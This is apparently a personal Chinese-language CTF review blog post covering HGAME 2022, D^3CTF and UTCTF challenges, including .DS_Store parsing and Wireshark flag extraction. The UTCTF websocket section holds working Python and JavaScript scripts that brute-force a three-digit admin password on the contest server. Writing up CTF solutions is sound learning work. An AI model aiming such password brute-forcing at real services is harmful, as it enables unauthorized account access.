CTF比赛复盘(一)


HGAME 2022

WEB

EASY RSA

下载后发现是一个python源码,简单浏览后(我不是看的很懂python和rsa)推测跑一跑出flag(偷懒qwq),执行后发现许多包未下载,用pip逐一安装,其中Crypto包安装存在一定问题,参考pip安装后解决,扩展包安装完毕后发现仍无法运行:cannot import name 'flag' from 'secret',寄!

附大佬博客中的RSA题型总结

蛛蛛...嘿嘿?我的蛛蛛

根据关卡序号N下方有N个按钮,其中有某一个可以通往下一关,F12打开源码,寻找有链接的按钮,100关后进入最后一关,寻找flag,网页源码中并没有flag,试图读取flag.txt失败,显示“KEY有毒”(所以是啥呀喂)!

Tetris plus

小游戏,有三个同色的相互接触即可得分的消消乐,开心的玩到3000分提示莫得flag(寄)。

D^3CTF

WEB

d3oj

  • 一言:https://hitokoto.cn/

shorter

  • .DS_Store:.DS_Store文件解析

    本题

    0x04块对齐

    偏移量表:[

    00 00 10 0B, //根块信息,标记为0x01号

    00 00 00 45,

    00 00 00 25,

    计算位置及大小:

    0x01:
    100BH => 0000 1011B => 0x1000 //位置,别忘了0x04的偏移
    01011B = 11D => 2^11 = 2048 => 1000 0000 0000B => 0x0800 //大小
    0x02:
    0045H => 0100 0101B => 0x40 
    2^5 = 32 = 0x20
    0x03:
    0x25 => 0010 0101B => 0x20
    2^5 = 32 = 0x20
    

    得出结论:没有目录信息....(我吐了)

  • _MACOSX:_MACOSX是什么文件夹

  • SNAPSHOT:Maven快照

  • Docker:Docker菜鸟

UTCTF

UTCTF

UTCTF

WEB

  • IP端口范围[1,65535]

Websockets?

进入登陆页面,采用"websocket"协议进行用户登录的连接,用burp抓包后发现要想建立连接需要快速发送:

  1. "begin"
  2. "user ${user}"
  3. "pass ${password}"

当user与pass的值都正确后才能成功建立连接。F12发现源码中有提示密码位三位数字,编写脚本进行爆破即可。

nkk提供了python的爆破脚本

import asyncio
import websockets

# 向服务器端认证,用户名密码通过才能退出循环
async def auth_system(websocket, password):
    while True:
        begin_text = "begin"
        username = "user admin"
        password = "pass "+ password
        await websocket.send(begin_text)
        await websocket.send(username)
        await websocket.send(password)
        response_str = await websocket.recv()
        print(password +" " + response_str)
        if "badpass" in response_str:
            return True

# 客户端主逻辑
async def main_logic():
    Continue = True
    password = 100
    while Continue:
        async with websockets.connect('ws://web1.utctf.live:8651/internal/ws') as websocket:
            Continue = await auth_system(websocket, str(password))

        password += 1

        # await send_msg(websocket)

asyncio.get_event_loop().run_until_complete(main_logic())

尝试自己编写js的爆破脚本(0/1)

3/14 2:28 脚本编写已成功(1/1)

async function send_(wss,msg){  //发送信息
    wss.send(msg);
    console.log('sending: '+msg)
}

async function websoc(num){
    
    var ws = new WebSocket('ws://web1.utctf.live:8651/internal/ws');  //创建ws连接
    var isOk=false;  //标记此次连接的试探结果

    await new Promise((resolve,reject) => {
        ws.onopen = async function() {  
            console.log("well open");  //通知连接成功
            try{
                await send_(ws,'begin');  //按格式发送数据来创建session
                await send_(ws,"user admin");
                await send_(ws,"pass "+num);  //密码试探
                await new Promise((resolve,reject) => {
                        setTimeout(resolve,10000)  //若十秒内无badpass回显则此次试探成功
                        ws.onmessage = (evt) => {
                            console.log(evt);
                            if(evt.data=='badpass') {  //此次试探失败,更改标记
                                isOk=true;  //这里顺序可以调换,resolve()不会立即跳出
                                resolve('pwderr');  
                            }
                        }
                    })
                    if (isOk){
                        throw new Error("bad pass!")  //抛出试探失败的err
                    }
            } catch(err) {
                console.log(err);  //通知试探失败
            }
            resolve();  //这里一定一定要加括号,这样才是函数调用,否则只是参数
        };
    })
    
    await new Promise((resolve,reject) => {
        ws.onclose = function() {
            console.log('Connection closed.');  //通知连接断开
            resolve();  //不加括号会出现resolve无效的情况,程序会卡住
          };
    })

    return isOk  //返回标记
}

async function main_logic(beg,end){  //输入密码爆破的范围
    var running=true;
    var num=beg;
    while(running && num<=end){  //爆破密码
        console.log("following: "+num)  //通知本次试探的num
        running = await websoc(num)  //试探num
        num+=1
    }
    if(num<=end) console.log("success!")  //通知爆破结果
    else console.log("failed!")
}

JavaScript下websocket的异步处理思路:

websocket的连接建立并返回"badpass"后若不继续传输数据,则会产生以下报错并断开连接:

VWebSocket connection to 'ws://web1.utctf.live:8651/internal/ws' failed: Invalid frame header

若继续传输无效数据则会返回"error"并正常断开连接

onopen onmessage onclose函数分别包裹进promise中,当条件达成时再结束本次promise以达到异步处理的效果,试探失败就等待连接断开后重新建立连接


总结:本题涉及"websocket"协议,需了解后摸清连接规则,编写脚本爆破密码

参考:[

es6使用websocket同步等待方法,

WebSocket MDN文档,

JavaScript教程-Promise,async/await,

PDF解析器html/XSS 实现SSRF

wkhtmltopdf漏洞

全国弱口令TOP1000

]

Beginner

BabyShark

提示HTTP中有信息

用wireshark打开后发现两条HTTP流,第一条提示曾用GET方法请求过"flag.png"文件,第二条流是一个PNG文件的传输流,猜测为flag图像,

右键PNG栏目(Portable Network Graphics),导出分组字节流并保存为"flag.png"

得到flag

BabyShark2

这个更简单,提示ftp流有信息,过滤栏输入"ftp"提取ftp信息发现有很多,观察信息直接找到flag

WP参考:csn3rd

CTF